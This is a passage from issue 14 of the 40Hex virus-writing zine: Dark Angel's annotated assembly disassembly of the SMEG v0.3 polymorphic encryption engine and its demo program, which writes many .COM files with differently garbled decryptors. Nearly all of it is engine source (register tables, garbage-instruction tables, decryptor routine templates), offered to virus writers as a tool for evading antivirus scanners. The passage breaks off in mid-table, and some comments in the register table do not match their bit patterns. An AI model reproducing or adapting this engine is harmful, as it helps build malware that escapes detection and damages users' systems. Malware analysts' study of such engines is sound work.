40Hex Number 14 Volume 5 Issue 1                                      File 001

SMEG is one of those ubiquitous polymorphism aids which have become fashionable
during the last few years. It was written by the Black Baron of England. It
tends to generate rather large decryptors. The only really interesting feature
is that it has the capability of generating CALL's to garbage subroutines. Note
that there are only a few routines which SMEG chooses from, so this encryption
is more on the level of Whale coupled with garbling. The debug script follows
the disassembly.

                Dark Angel
                Phalcon/Skism 1995

-------------------------------
; This is the disassembly of a SMEG demonstration program which generates
; snippets of code encrypted with SMEG.

                .model  tiny
                .code
                .radix  16
                org     100
; Disassembly by Dark Angel of Phalcon/Skism
; for 40Hex #14 Vol 5 Issue 1
workbuffer      struc
datasize        dw      ?       ; 00 length of data to crypt
sourceptr       dw      ?       ; 02 pointer to data to crypt
targetptr       dw      ?       ; 04 pointer of where to put crypted data
                db      ?       ; 06 reg0 encryption value
                db      ?       ; 07 reg1 counter register
                db      ?       ; 08 reg2 temporary storage for data
                                ;         to be decrypted
                db      ?       ; 09 reg3
                db      ?       ; 0A reg4 (always BP)
                db      ?       ; 0B reg5
                db      ?       ; 0C reg6
                db      ?       ; 0D reg7 pointer register
rng_buffer      dw      ?       ; 0E used by random number generator
cryptval        db      ?       ; 10 encryption value
ptr_offsets     dw      ?       ; 11 XXXX in [bx+XXXX] memory references
loop_top        dw      ?       ; 13 points to top of decryption loop
pointer_patch   dw      ?       ; 15 points to initialisation of pointer
counter_patch   dw      ?       ; 17 points to initialisation of counter
pointer_fixup   dw      ?       ; 19 needed for pointer calculation
crypt_type      db      ?       ; 1B how is it encrypted?
initialIP       dw      ?       ; 1C IP at start of decryptor
lastgarble      db      ?       ; 1E type of the last garbling instr
cJMP_patch      dw      ?       ; 1F conditional jmp patch
CALL_patch      dw      ?       ; 21 CALL patch
nJMP_patch      dw      ?       ; 23 near JMP patch
garbage_size    dw      ?       ; 25 # garbage bytes to append
decryptor_size  dw      ?       ; 27 size of decryptor
last_CALL       dw      ?       ; 29 location of an old CALL patch location
which_tbl       dw      ?       ; 2B which table to use
workbuffer      ends

SMEG_demo:      jmp     enter_SMEG_demo
filename        db      '0000.COM', 0

prompt          db      'SMEG v0.3.  Generation Difference Demonstration',0Dh
                db      0A,9,'   (C) The Black Baron 1994',0Dh,0A,0A,0A
                db      'SELECT THE NUMBER OF GENERATIONS:',0Dh,0A,0A
                db      '1  --  10     Generations',0Dh,0A
                db      '2  --  100        ""',0Dh,0A
                db      '3  --  1000       ""',0Dh,0A
                db      '4  --  10000      ""        (Large HD`s Only!!)$'

_10             db      ' 10 $'
_100            db      ' 100 $'
_1000           db      ' 1000 $'
_10000          db      ' 10000 $'

generating      db      0Dh,0A,0A,0A,'Generating$'


please_wait     db      'Executable .COM Generations, Please Wait...$'

checkdiff       db      0Dh,0A,0A
                db      'DONE!  Now examine each, and'
                db      ' note how different they are!',0Dh,0A,0A,7,'$'

diskerror       db      0Dh,0A,0A,'SORRY!  A disk error has occurred!'
                db      0Dh,0A,0A,7,'$'

num2gen         dw      10d, offset _10
                dw      100d, offset _100
                dw      1000d, offset _1000
                dw      10000d, offset _10000

enter_SMEG_demo:mov     ax,3                    ; set video mode to standard
                int     10                      ; text mode (clear screen, too)

                mov     dx,offset prompt        ; display prompt
                mov     ah,9
                int     21

inputloop:      mov     ax,0C07                 ; clear keyboard buffer & get
                int     21                      ; keystroke

                cmp     al,'1'                  ; must be between 1 and 4
                jb      inputloop
                cmp     al,'4'
                ja      inputloop

                sub     al,'1'                  ; normalise
                xor     ah,ah                   ; and find out how many files
                add     ax,ax                   ; we should generate
                add     ax,ax
                add     ax,offset num2gen
                xchg    bx,ax
                push    bx

                mov     dx,offset generating
                mov     ah,9                    ; display string
                int     21

                pop     bx                      ; display num to generate
                mov     cx,[bx]
                push    cx
                mov     dx,[bx+2]
                int     21

                mov     dx,offset please_wait   ; display string again
                int     21

                pop     cx

gen_file_loop:  push    cx
                mov     bp,offset data_area     ; set up SMEG registers
                mov     di,offset target_area
                mov     dx,offset carrier
                mov     cx,offset end_carrier - offset carrier
                mov     ax,100                  ; COM files start exec @ 100
                call    SMEG                    ; encrypt the carrier file

                mov     ah,5Bh                  ; create new file
                mov     dx,offset filename
                xor     cx,cx
                int     21
                jnc     created_file
print_error_exit:
                call    print_error
exit_error:     pop     cx
                mov     ax,4CFF                 ; terminate errorlevel -1
                int     21

created_file:   xchg    bx,ax
                mov     ah,40                   ; write decryptor
                mov     cx,[bp.decryptor_size]
                mov     dx,offset target_area
                int     21
                jnc     write_rest

close_exit:     call    print_error
                mov     ah,3E                   ; close file
                int     21
                jmp     short exit_error

write_rest:     call    encrypt                 ; encrypt the code
                mov     ah,40                   ; the write the result to the
                mov     cx,[bp.datasize]        ; file
                mov     dx,offset target_area
                int     21
                jc      close_exit

                call    generate_garbage        ; create garbage
                mov     ah,40                   ; append it to the file
                int     21
                jc      close_exit

                mov     ah,3E                   ; close file
                int     21
                jc      print_error_exit

                mov     bx,offset filename+3    ; calculate next file name
                mov     cx,4
inc_fname:      inc     byte ptr [bx]
                cmp     byte ptr [bx],3A
                jb      increment_done
                sub     byte ptr [bx],0A
                dec     bx
                loop    inc_fname
increment_done: pop     cx
                loop    gen_file_loop

                mov     dx,offset checkdiff     ; display string
                mov     ah,9
                int     21

                mov     ax,4C00                 ; exit errorlevel 0
                int     21

print_error:    mov     dx,offset diskerror     ; display error message
                mov     ah,9
                int     21

                retn

carrier:        call    enter_carrier
                db      0Dh,0A,'This was decrypted with a SMEG v0.3 generated'
                db      ' decryptor!',0Dh,0A,'$'
enter_carrier:  pop     dx
                mov     ah,9                    ; print string
                int     21

                mov     ax,4c00                 ; terminate
                int     21
end_carrier:

; SMEG code begins here

SMEG:           mov     [bp.datasize],cx        ; save length to crypt
                mov     [bp.sourceptr],dx       ; save offset to data to crypt
                mov     [bp.targetptr],di       ; save offset to where to put crypted stuff
                push    bx si

                mov     bx,bp
                db      83,0C3,06 ; add bx,6
                mov     cx,2Dh                  ; clear the work area with 0's
; the above line is buggy. it should read: mov cx,2Dh-6
                push    bx
clear_dataarea: mov     [bx],ch
                inc     bx
                loop    clear_dataarea

                mov     [bp.initialIP],ax       ; store initial IP
                call    rnd_init
                mov     bx,offset use_regs_tbl
                call    rnd_get
                and     al,1F
                xlat
                pop     bx
                mov     cx,4
fill_registers:
                xor     dl,dl                   ; fill in which registers
                rcl     al,1                    ; do which job
                rcl     dl,1
                rcl     al,1
                rcl     dl,1
                mov     [bx],dl
                inc     bx
                loop    fill_registers

                mov     byte ptr [bx],5         ; use BP as a garbling register
                inc     bx
                inc     bx
                call    rnd_get
                rol     al,1                    ; get top bit of al
                and     al,1                    ; to select between
                add     al,6                    ; si and di for ptr
                mov     [bx],al                 ; register
                xor     al,1                    ; flip to the other one
                cmp     byte ptr [bx-3],3       ; is it BX?
                jne     is_not_bx
                mov     [bx-3],al
                mov     al,3
is_not_bx:      mov     [bx+1],al
                mov     al,[bx-3]
                mov     [bx-1],al

gen_cryptval:   call    rnd_get
                xor     al,ah
                jz      gen_cryptval
                mov     [bp.cryptval],al        ; store encryption value

                call    rnd_get                 ; get a random value for the
                or      al,1                    ; offset of memory references,
                mov     [bp.ptr_offsets],ax     ; i.e. the XXXX in [bp+XXXX]

                call    rnd_init                ; generate a random number
                and     ax,3FF                  ; from 80 to 47F to be the
                add     ax,80                   ; number of garbage bytes to
                mov     [bp.garbage_size],ax    ; add

; the next block serves no purpose. but it is a valid text string...
                xor     ax,ax                   ; 3?SMEG????
                add     al,53                   ; where ? stands for an upper
                dec     bp                      ; ASCII character
                inc     bp
                inc     di
                add     al,0AE
                cld
                sub     di,ax

                call    rnd_get                 ; do the following from
                and     ax,3                    ; 3 to 7 times
                add     al,3
                xchg    cx,ax
begin_garble:   push    cx
                call    garble_more
                call    rnd_get
                cmp     al,8C
                jbe     no_int21
                and     ax,3                    ; encode a dummy int 21
                add     ax,offset int21fcns     ; call
                xchg    si,ax
                mov     ah,0B4
                lodsb
                xchg    ah,al
                stosw
                mov     ax,21CDh                ; encode int 21
                stosw
no_int21:       pop     cx
                loop    begin_garble

                mov     al,0E8                  ; encode a CALL
                stosb
                push    di                      ; write garbage for offset
                stosw                           ; of call for now
                call    garble_more             ; encode some garbage
                mov     al,0E9                  ; encode a JMP
                stosb
                pop     bx
                push    di
                stosw
                push    di
                pop     ax
                dec     ax
                dec     ax
                sub     ax,bx
                mov     [bx],ax                 ; patch CALL to point to
                                                ; space past the JMP where we
                call    garble_more             ; encode a garbage subroutine

                mov     al,0C3                  ; encode a RETN
                stosb

                pop     bx
                push    di
                pop     ax
                dec     ax
                dec     ax
                sub     ax,bx
                mov     [bx],ax                 ; Make JMP go past subroutine

                call    encode_routine          ; encode the routine!

                mov     si,bp
                db      83,0C6,08 ; add si,8    ; default to using data temp
                                                ; storage register to return
                                                ; to top of loop
                and     al,al                   ; check return code of routine
                jnz     how_to_top
                dec     si                      ; if 0, instead use encryption
                dec     si                      ; value register to return
how_to_top:     mov     al,75                   ; encode JNZ
                stosb
                inc     di
                push    di
                call    garble_some
                pop     bx
                mov     al,0E9                  ; encode a JMP
                stosb
                push    di
                inc     di                      ; skip the offset for now
                inc     di
                mov     ax,di
                sub     ax,bx
                mov     [bx-1],al               ; patch the JNZ
                call    garble_some

                call    rnd_get
                and     ax,3                    ; first entry requires
                add     ax,ax                   ; no register setup, so
                jz      no_setup                ; jmp past it

                push    ax
                mov     al,0B8
                or      al,[si]                 ; MOV word-reg, XXXX
                stosb
                mov     ax,[bp.loop_top]
                sub     ax,[bp.targetptr]
                add     ax,[bp.initialIP]
                stosw
                call    garble_some
                pop     ax
no_setup:       add     ax,offset jmp_table
                xchg    bx,ax
                call    word ptr [bx]           ; encode method of returning
                stosw                           ; to the top of the loop

                pop     bx
                mov     ax,di
                sub     ax,bx
                dec     ax
                dec     ax
                mov     [bx],ax
                call    garble_more
pad_paragraph:  mov     ax,di                   ; pad the decryptor out to the
                sub     ax,[bp.targetptr]       ; nearest paragraph
                and     al,0F                   ; do we need to?
                jz      padded                  ; no, we are done
                cmp     al,0C                   ; otherwise, still a lot to go?
                ja      one_byte_pad            ; no, do one byte at a time
                call    not_branch_garble       ; else do a nonbranching
                jmp     short pad_paragraph     ; instruction

one_byte_pad:   call    rnd_get                 ; do a random one byte padding
                call    do_one_byte             ; instruction
                jmp     short pad_paragraph

padded:         mov     ax,di
                sub     ax,[bp.targetptr]
                mov     [bp.decryptor_size],ax
                add     ax,[bp.initialIP]
                mov     cx,[bp.pointer_fixup]
                sub     ax,cx
                mov     bx,[bp.pointer_patch]
                mov     [bx],ax
                mov     bl,[bp.crypt_type]      ; get encryption type so
                mov     cl,3                    ; the initial value of the
                ror     bl,cl                   ; counter can be calculated
                db      83,0E3,0F ; and bx,0F
                add     bx,offset counter_init_table
                mov     ax,[bp.datasize]
                call    word ptr [bx]

                mov     bx,[bp.counter_patch]   ; patch the value of the
                mov     [bx],ax                 ; counter as needed

                pop     si bx
                retn

generate_garbage:
                mov     cx,[bp.garbage_size]    ; write random bytes
                mov     di,[bp.targetptr]       ; to the target location
                push    cx di
random_gen:     call    rnd_get
                stosb
                loop    random_gen
                pop     dx cx
                retn

write_table     dw      offset write_nothing
                dw      offset write_cryptval
                dw      offset write_pointer_patch
                dw      offset write_counter_patch
                dw      offset write_ptr_offset
                dw      offset write_dl

; In the following table, each pair of bits represents a register
; in standard Intel format, i.e. 00 = ax, 01 = cx, 10 = dx, 11 = bx
use_regs_tbl:   db      00011011b ; ax cx dx bx
                db      11000110b ; bx ax cx dx
                db      10110001b ; dx bx ax cx
                db      01101100b ; cx dx bx ax
                db      11100100b ; bx dx cx ax
                db      00111001b ; ax bx dx cx
                db      01001110b ; cx ax bx dx
                db      10010011b ; dx cx ax bx
                db      01001011b ; cx ax dx bx
                db      11010010b ; bx cx ax dx
                db      10110100b ; dx bx cx ax
                db      00101101b ; ax dx cx bx
                db      11100001b ; bx dx ax cx
                db      01111000b ; cx bx dx ax
                db      00011110b ; ax cx bx dx
                db      10000111b ; dx ax cx bx
                db      00100111b ; ax dx cx bx
                db      11001001b ; bx ax dx cx
                db      01110010b ; cx bx ax dx
                db      10011100b ; dx cx bx ax
                db      11011000b ; dx ax bx cx
                db      00110110b ; ax bx cx dx
                db      10001101b ; bx cx dx ax
                db      01100011b ; cx dx ax bx
                db      11100100b ; bx dx cx ax
                db      00101101b ; ax dx cx bx
                db      00100111b ; ax dx cx bx
                db      00011110b ; ax cx bx dx
                db      11000110b ; bx ax cx dx
                db      10000111b ; bx cx ax dx
                db      11010010b ; cx bx ax dx
                db      01110010b ; cx bx ax dx

onebyte_table:  dec     ax
                inc     ax
                clc
                cld
                cmc
                stc
                inc     ax
                dec     ax

; high byte holds the opcode, low byte holds the second byte of the
; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low
; byte hold the maximum amount to add to the high byte in creating the
; instruction. This allows one word to generate more than one instruction,
; including the byte or word forms of the instructions
; note that this is reverse of what will be actually stored
garble_table:   dw       80F1   ;  XOR reg, XXXX
                dw       3201   ;  XOR reg, [reg]
                dw      0F6C1   ; TEST reg, XXXX
                dw       8405   ; TEST/XCHG reg, [reg]
                dw       80E9   ;  SUB reg, XXXX        (2 diff encodings)
                dw       2A01   ;  SUB reg, [reg]
                dw      0D0EBh  ;  SHR reg, 1
                dw       1A01   ;  SBB reg, [reg]
                dw       80D9   ;  SBB reg, XXXX
                dw       80D1   ;  ADC reg, XXXX
                dw      0D0FBh  ;  SAR reg, 1/CL
                dw      0D0E3   ;  SHL reg, 1/CL
                dw      0D0CBh  ;  ROR reg, 1/CL
                dw      0D0C3   ;  ROL reg, 1/CL
                dw       8405   ; TEST/XCHG reg, [reg]
                dw      0D0DBh  ;  RCR reg, 1/CL
                dw      0C6C1   ;  MOV reg, XXXX
                dw      080C9   ;   OR reg, XXXX
                dw       0A01   ;   OR reg, [reg]
                dw      0F6D1   ;  NOT reg
                dw      0F6D9   ;  NEG reg
                dw       8A01   ;  MOV reg, [reg]
                dw      0C6C1   ;  MOV reg, XXXX
                dw       0201   ;  ADD reg, [reg]
                dw       80C1   ;  ADD reg, XXXX
                dw       80FDh  ;  CMP reg, XXXX
                dw       3807   ;  CMP reg, [reg]       (2 diff encodings)
                dw       80E1   ;  AND reg, XXXX
                dw      0D0D3   ;  RCL reg, 1/CL
                dw       2201   ;  AND reg, [reg]
                dw       1201   ;  ADC reg, [reg]
                dw       8A01   ;  MOV reg, [reg]

int21fcns       db      19,2A,2C,30

counter_init_table:
                dw      offset counterinit0
                dw      offset counterinit1
                dw      offset counterinit2
                dw      offset counterinit3
                dw      offset counterinit4
                dw      offset counterinit5
                dw      offset counterinit6
                dw      offset counterinit7

encode_table    dw      offset use_as_is
                dw      offset fill_mod_field
                dw      offset fill_field
                dw      offset fill_reg_reg1
                dw      offset fill_reg_field
                dw      offset fill_mod_n_reg
                dw      offset fill_reg_reg2

encode_tbl1:    db       8,8C,0,0C8,4,0         ; 1 MOV reg0, CS
                db       8,8E,0,0D8,4,0         ; 2 MOV DS, reg0
                db       7,0B8,4,-1,0,2         ; 3 MOV reg7,initial pointer
                db       1,0B8,4,-1,0,3         ; 4 MOV reg1,initial counter
                db       57,8A,0,80,5,4         ; 5 MOV reg2,[reg7+offset]
                db       57,88,0,80,5,4         ; 6 MOV [reg7+offset],reg2
                db       2,80,0,0F0,4,1         ; 7 XOR reg2,cryptvalue
                db       11,8Bh,0,0C0,5,0       ; 8 MOV reg2,reg1
                db       78,30,0,0,6,0          ; 9 XOR [reg7],reg0
                db       47,0F6,0,98,4,4        ; A NEG [reg7+offset]
                db       47,0F6,0,90,4,4        ; B NOT [reg7+offset]
                db       7,40,4,-1,0,0          ; C INC reg7
                db       1,48,4,-1,0,0          ; D DEC reg1
                db       8,0B0,4, -1,0,1        ; E MOV reg0,cryptval
                db       10,33,0,0C0,5,0        ; F XOR reg2,reg0

encode_tbl2:    db       47,86,0,80,5,4         ; 1 XCHG reg0,[reg7+offset]
                db       8,40,4,-1,0,0          ; 2 INC reg0
                db       8,48,4,-1,0,0          ; 3 DEC reg0
                db       7,81,0,0C0,4,15        ; 4 ADD reg7,1
                db       1,81,0,0E8,4,15        ; 5 SUB reg1,1
                db       10,2,0,0C0,5,0         ; 6 ADD reg2,reg0
                db       10,2A,0,0C0,5,0        ; 7 SUB reg2,reg0
                db       47,0FBh,4,0B0,4,4      ; 8 PUSH [reg7+offset]
                db       47,8F,0,80,4,4         ; 9 POP  [reg7+offset]
                db       8,50,4,-1,0,0          ; A PUSH reg0
                db       8,58,4,-1,0,0          ; B POP reg0
                db       10,87,0,0C0,5,0        ; C XCHG reg2,reg0
                db       2,40,4,-1,0,0          ; D INC reg2
                db       8,8Bh,0,0C0,5,0        ; E MOV reg1,reg0
                db       9,23,0,0C0,5,0         ; F AND reg1,reg1

routine4:       db      10
                ; MOV reg0,CS                   (1)
                ; MOV reg7,initial pointer      (3)
                ; MOV DS,reg0                   (2)
                ; MOV reg1,initial counter      (4)
                ; MOV reg0,encryption value     (E)
                ; XOR reg2,reg0                 (F)
                ; beginning of loop             (0)
                ; MOV reg2,[reg7+offset]        (5)
                ; XOR reg2,reg0                 (F)
                ; INC reg0                      (02)
                ; MOV [reg7+offset],reg2        (6)
                ; INC reg7                      (C)
                ; DEC reg1                      (D)
                ; done                          (-1)
                db      13,24,0EF,05,0F0,26,0CDh,-1

routine8:       db      71
                ; MOV reg7,initial pointer      (3)
                ; MOV reg1,initial counter      (4)
                ; MOV reg0,CS                   (1)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; MOV reg0,encryption value     (E)
                ; beginning of loop             (0)
                ; DEC reg1                      (D)
                ; NEG [reg7+offset]             (A)
                ; DEC reg1                      (D)
                ; MOV reg2,[reg7+offset]        (5)
                ; XOR reg2,reg0                 (F)
                ; MOV [reg7+offset],reg2        (6)
                ; DEC reg0                      (03)
                ; ADD reg7,1                    (04)
                ; SUB reg1,1                    (05)
                ; DEC reg0                      (03)
                ; SUB reg1,1                    (05)
                ; done                          (-1)
                db      34,12,0EE,0Dh,0ADh,5F,60,30,40,50,30,50,-1

routine1:       db      42
                ; MOV reg1,initial counter      (4)
                ; MOV reg7,initial pointer      (3)
                ; MOV reg0,CS                   (1)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg0,encryption value     (E)
                ; MOV reg0,encryption value     (E)
                ; XCHG reg2,reg0                (0C)
                ; MOV DS,reg0                   (2)
                ; beginning of loop             (0)
                ; XCHG reg0,[reg7+offset]       (01)
                ; XOR reg2,reg0                 (F)
                ; MOV [reg7+offset],reg2        (6)
                ; MOV reg2,reg1                 (8)
                ; MOV reg2,reg1                 (8)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; DEC reg0                      (03)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg1,reg0                 (0E)
                ; ADD reg7,1                    (04)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                ; return code 0                 (0)


                db      43,10,0CE,0E0,0C2,0,1F,68,80,0D0,0D0,0D0,30,0C0,0E0,40
                db      0F0,-1,0

routineC:       db      33
                ; MOV reg0,CS                   (1)
                ; MOV reg1,initial counter      (4)
                ; MOV DS,reg0                   (2)
                ; MOV reg7,initial pointer      (3)
                ; MOV reg0,encryption value     (E)
                ; MOV reg0,encryption value     (E)
                ; beginning of loop             (0)
                ; DEC reg1                      (D)
                ; DEC reg1                      (D)
                ; NOT [reg7+offset]             (B)
                ; MOV reg2,[reg7+offset]        (5)
                ; XOR reg2,reg0                 (F)
                ; MOV [reg7+offset],reg2        (6)
                ; XOR reg2,reg0                 (F)
                ; INC reg7                      (C)
                ; INC reg0                      (02)
                ; INC reg0                      (02)
                ; XOR reg2,reg0                 (F)
                ; done                          (-1)
                db      14,23,0EE,0Dh,0DBh,5F,6F,0C0,20,20,0F0,-1

routineE:       db      64
                ; MOV reg1,initial counter      (4)
                ; MOV reg0,CS                   (1)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; MOV reg7,initial pointer      (3)
                ; XOR reg2,reg0                 (F)
                ; beginning of loop             (0)
                ; XOR [reg7],reg0               (9)
                ; MOV reg2,reg1                 (8)
                ; XCHG reg2,reg0                (0C)
                ; INC reg0                      (02)
                ; INC reg2                      (0D)
                ; INC reg0                      (02)
                ; ADD reg7,1                    (04)
                ; INC reg0                      (02)
                ; INC reg0                      (02)
                ; MOV reg1,reg0                 (0E)
                ; INC reg2                      (0D)
                ; XCHG reg2,reg0                (0C)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                db      41,2E,3F,9,80,0C0,20,0D0,20,40,20,20,0E0,0D0,0C0,0F0,-1

routine2:       db      5
                ; MOV reg0,CS                   (1)
                ; MOV reg7,initial pointer      (3)
                ; MOV reg1,initial counter      (4)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; XOR reg2,reg0                 (F)
                ; beginning of loop             (0)
                ; DEC reg1                      (D)
                ; XOR reg2,encryption value     (7)
                ; PUSH reg0                     (0A)
                ; PUSH [reg7+offset]            (08)
                ; POP reg0                      (0B)
                ; XCHG reg2,reg0                (0C)
                ; POP reg0                      (0B)
                ; PUSH reg0                     (0A)
                ; SUB reg2,reg0                 (07)
                ; MOV [reg7+offset],reg2        (6)
                ; INC reg7                      (C)
                ; MOV reg2,reg1                 (8)
                ; MOV reg2,reg1                 (8)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg1,reg0                 (0E)
                ; POP reg0                      (0B)
                ; INC reg0                      (02)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                db      13,42,0EF,0Dh,70,0A0,80,0B0,0C0,0B0,0A0,76,0C8,80,0D0
                db      0D0,0C0,0E0,0B0,20,0F0,-1

routineF:       db      56
                ; MOV reg7,initial pointer      (3)
                ; MOV reg1,initial counter      (4)
                ; MOV reg0,CS                   (1)
                ; MOV DS,reg0                   (2)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; beginning of loop             (0)
                ; MOV reg2,[reg7+offset]        (5)
                ; INC reg2                      (0D)
                ; ADD reg2,reg0                 (06)
                ; MOV [reg7+offset],reg2        (6)
                ; MOV reg2,reg1                 (8)
                ; DEC reg0                      (03)
                ; XOR reg2,reg0                 (F)
                ; DEC reg1                      (D)
                ; INC reg7                      (C)
                ; DEC reg1                      (D)
                ; done                          (-1)
                db      34,12,2E,5,0D0,66,80,3F,0DC,0D0,-1

routine9:       db      27
                ; MOV reg1,initial counter      (4)
                ; MOV reg0,CS                   (1)
                ; MOV reg7,initial pointer      (3)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; XOR reg2,reg0                 (F)
                ; beginning of loop             (0)
                ; XOR [reg7],reg0               (9)
                ; XOR reg2,reg0                 (F)
                ; ADD reg7,1                    (04)
                ; PUSH reg0                     (0A)
                ; MOV reg2,reg1                 (8)
                ; DEC reg1                      (D)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg1,reg0                 (0E)
                ; POP reg0                      (0B)
                ; DEC reg0                      (03)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                db      41,32,0EF,9,0F0,40,0A8,0D0,0D0,0D0,0C0,0E0,0B0,30,0F0
                db      -1

routine7:       db      32
                ; MOV reg1,initial counter      (4)
                ; MOV reg0,CS                   (1)
                ; MOV reg7,initial pointer      (3)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; XCHG reg2,reg0                (0C)
                ; beginning of loop             (0)
                ; MOV reg2,reg1                 (8)
                ; DEC reg1                      (D)
                ; POP reg0                      (0B)
                ; XOR reg2,reg0                 (F)
                ; MOV [reg7+offset],reg2        (6)
                ; DEC reg0                      (03)
                ; XCHG reg2,reg0                (0C)
                ; ADD reg7,1                    (04)
                ; DEC reg1                      (D)
                ; done                          (-1)
                ; return code 0                 (0)
                db      41,32,0E0,0C0,8,0D0,0BF,60,30,0C0,4Dh,-1,0

routine5:       db      11
                ; MOV reg1,initial counter      (4)
                ; MOV reg7,initial pointer      (3)
                ; MOV reg0,CS                   (1)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; XOR reg2,reg0                 (F)
                ; beginning of loop             (0)
                ; NEG [reg7+offset]             (A)
                ; MOV reg2,[reg7+offset]        (5)
                ; XOR reg2,reg0                 (F)
                ; DEC reg1                      (D)
                ; DEC reg0                      (03)
                ; DEC reg0                      (03)
                ; XCHG reg2,reg0                (0C)
                ; XCHG reg0,[reg7+offset]       (01)
                ; XCHG reg2,reg0                (0C)
                ; ADD reg7,1                    (04)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                db      43,12,0EF,0A,5F,0D0,30,30,0C0,10,0C0,40,0F0,-1

routineB:       db       66
                ; MOV reg7,initial pointer      (3)
                ; MOV reg0,CS                   (1)
                ; MOV reg1,initial counter      (4)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; XOR reg2,reg0                 (F)
                ; beginning of loop             (0)
                ; PUSH reg0                     (0A)
                ; PUSH [reg7+offset]            (08)
                ; MOV reg2,reg1                 (8)
                ; MOV reg2,reg1                 (8)
                ; XCHG reg2,reg0                (0C)
                ; INC reg0                      (02)
                ; INC reg0                      (02)
                ; INC reg0                      (02)
                ; INC reg0                      (02)
                ; MOV reg1,reg0                 (0E)
                ; POP reg0                      (0B)
                ; XCHG reg2,reg0                (0C)
                ; POP reg0                      (0B)
                ; ADD reg2,reg0                 (06)
                ; PUSH reg0                     (0A)
                ; XCHG reg2,reg0                (0C)
                ; PUSH reg0                     (0A)
                ; POP [reg7+offset]             (09)
                ; POP reg0                      (0B)
                ; DEC reg0                      (03)
                ; INC reg7                      (C)
                ; XOR reg2,reg0                 (F)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                db      31,42,0EF,0,0A0,88,80,0C0,20,20,20,20,0E0,0B0,0C0,0B0
                db      60,0A0,0C0,0A0,90,0B0,3C,0F0,0F0,-1

routine3:       db      4
                ; MOV reg0,CS                   (1)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; MOV reg2,reg1                 (8)
                ; MOV reg1,initial counter      (4)
                ; MOV reg7,initial pointer      (3)
                ; beginning of loop             (0)
                ; MOV reg2,reg1                 (8)
                ; DEC reg1                      (D)
                ; INC reg2                      (0D)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg1,reg0                 (0E)
                ; XCHG reg2,reg0                (0C)
                ; XOR [reg7],reg0               (9)
                ; INC reg7                      (C)
                ; INC reg0                      (02)
                ; INC reg0                      (02)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                db      12,0E8,43,8,0D0,0D0,0C0,0E0,0C9,0C0,20,20
                db      0F0,-1

routineD:       db      73
                ; MOV reg7,initial pointer      (3)
                ; MOV reg0,CS                   (1)
                ; MOV reg1,initial counter      (4)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; MOV reg1,initial counter      (4)
                ; beginning of loop             (0)
                ; DEC reg1                      (D)
                ; DEC reg1                      (D)
                ; DEC reg1                      (D)
                ; NOT [reg7+offset]             (B)
                ; PUSH reg0                     (0A)
                ; PUSH [reg7+offset]            (08)
                ; POP reg0                      (0B)
                ; XCHG reg2,reg0                (0C)
                ; POP reg0                      (0B)
                ; XOR reg2,reg0                 (F)
                ; MOV [reg7+offset],reg2        (6)
                ; INC reg0                      (02)
                ; ADD reg7,1                    (04)
                ; INC reg0                      (02)
                ; SUB reg1,1                    (05)
                ; done                          (-1)
                db      31,42,0E4,0Dh,0DDh,0B0,0A0,80,0B0,0C0,0BF,60,20,40,20
                db      50,-1

routine0:       db      20
                ; MOV reg0,encryption value     (E)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg0,CS                   (1)
                ; MOV reg7,initial pointer      (3)
                ; MOV DS,reg0                   (2)
                ; MOV reg1,initial counter      (4)
                ; beginning of loop             (0)
                ; XCHG reg0,[reg7+offset]       (01)
                ; XCHG reg2,reg0                (0C)
                ; XOR reg2,reg0                 (F)
                ; DEC reg1                      (D)
                ; XCHG reg2,reg0                (0C)
                ; XCHG reg0,[reg7+offset]       (01)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg2,reg1                 (8)
                ; INC reg7                      (C)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; INC reg0                      (02)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg1,reg0                 (0E)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                ; return code 0                 (0)
                db      0E0,0C1,32,40,0,10,0CF,0D0,0C0,10,0C8,0C0,0D0,0D0,0D0
                db      20,0C0,0E0,0F0,-1,0

routine6:       db      55
                ; MOV reg1,initial counter      (4)
                ; MOV reg7,initial pointer      (3)
                ; MOV reg0,CS                   (1)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; MOV reg7,initial pointer      (3)
                ; beginning of loop             (0)
                ; MOV reg2,[reg7+offset]        (5)
                ; DEC reg1                      (D)
                ; SUB reg2,reg0                 (07)
                ; INC reg0                      (02)
                ; SUB reg1,1                    (05)
                ; MOV [reg7+offset],reg2        (6)
                ; INC reg7                      (C)
                ; DEC reg1                      (D)
                ; done                          (-1)
                db      43,12,0E3,5,0D0,70,20,56,0CDh,-1

routineA:       db      47
                ; MOV reg0,encryption value     (E)
                ; MOV reg7,initial pointer      (3)
                ; MOV reg1,initial counter      (4)
                ; XCHG reg2,reg0                (0C)
